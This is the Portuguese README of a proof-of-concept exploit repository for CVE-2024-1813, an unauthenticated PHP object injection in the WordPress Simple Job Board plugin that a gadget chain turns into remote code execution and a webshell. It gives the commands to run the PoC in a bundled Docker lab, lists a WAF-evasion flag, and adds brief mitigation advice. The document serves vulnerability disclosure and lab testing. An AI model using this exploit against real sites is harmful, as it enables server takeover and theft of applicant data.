
Exploit de PoC para CVE-2024-1813: injeção de objetos PHP no plugin Simple Job Board do WordPress, alcançando RCE não autenticado via cadeia de gadgets. Inclui laboratório Docker para demonstração segura.
De ponta a ponta: um visitante armazena um objeto PHP serializado por meio do formulário público de inscrição, o administrador abre a lista de candidatos e a cadeia de gadgets implanta um webshell.
Injeção de Objeto PHP não autenticada no plugin WordPress Simple Job Board (PressTigers). Um visitante armazena um objeto PHP serializado pelo formulário público de inscrição; quando um administrador abre posteriormente a lista de candidatos, o plugin o desserializa e uma cadeia de gadgets de terceiros a transforma em execução remota de código.
| CVE | CVE-2024-1813 |
| Plugin | Simple Job Board (PressTigers) |
| Vulnerável | ≤ 2.11.0 |
| Corrigido | 2.11.1 |
| Tipo | Injeção de Objeto PHP (desserialização insegura) |
| Autenticação | Nenhuma (injeção pré-autenticação) |
| Gatilho | Administrador abre a lista de candidatos (fluxo normal) |
| CVSS | 9.8 |
📖 Artigo técnico completo: https://mobeta.fr/blog/
Este repositório é o laboratório e o PoC que acompanham o artigo. A análise detalhada (causa raiz, o
unserializeduplo, construção da cadeia POP, bypass do WAF) está na postagem do blog.
.
├── sjb_cve_2024_1813.py # the PoC (builds + sends the payload)
├── LICENSE
└── lab/
├── docker-compose.yml # WordPress + MariaDB + vulnerable plugins
├── setup/setup.sh # one-shot provisioning (wp-cli)
└── trigger_exploit.sh # simulates the admin opening the applicants list
Reproduz a pilha vulnerável: WordPress 6.9.4 / PHP 8.3 / MariaDB 10.11 com Simple Job Board 2.10.8 (source + sink) e All In One SEO 4.5.6 (a cadeia de gadgets).
cd lab
docker compose up -d # boot + auto-provision
docker compose logs setup # prints the site URL, admin creds and job_id
Padrões do laboratório: http://localhost:8081, administrador admin / admin123!.
# 1. Store the payload (pre-auth). Replace 4 with the job_id from the setup logs.
python3 sjb_cve_2024_1813.py http://localhost:8081 4 'id > /tmp/RCE_PROOF.txt'
# 2. Fire the sink (plays the admin opening the applicants list).
cd lab && ./trigger_exploit.sh
# 3. Check the result.
docker exec sjb_lab_wp cat /tmp/RCE_PROOF.txt
Flags úteis do PoC:
--print-only - constrói e imprime o payload bruto, sem tráfego de rede.--field - nome do campo do POST (deve conter name; padrão jobapp_full_name).--int-prefix '+' - variante de evasão de WAF do prefixo de comprimento serializado.--proxy http://127.0.0.1:8080 - rotear pelo Burp.unserialize() / maybe_unserialize() explícito em post_meta;
prefira unserialize($data, ['allowed_classes' => false]).vendor/composer/installed.json para que as versões de bibliotecas com escopo não possam ser identificadas.Apenas para testes de segurança autorizados e fins educacionais. Nunca execute isto contra qualquer sistema sem permissão explícita por escrito do seu proprietário.
MIT - veja LICENSE.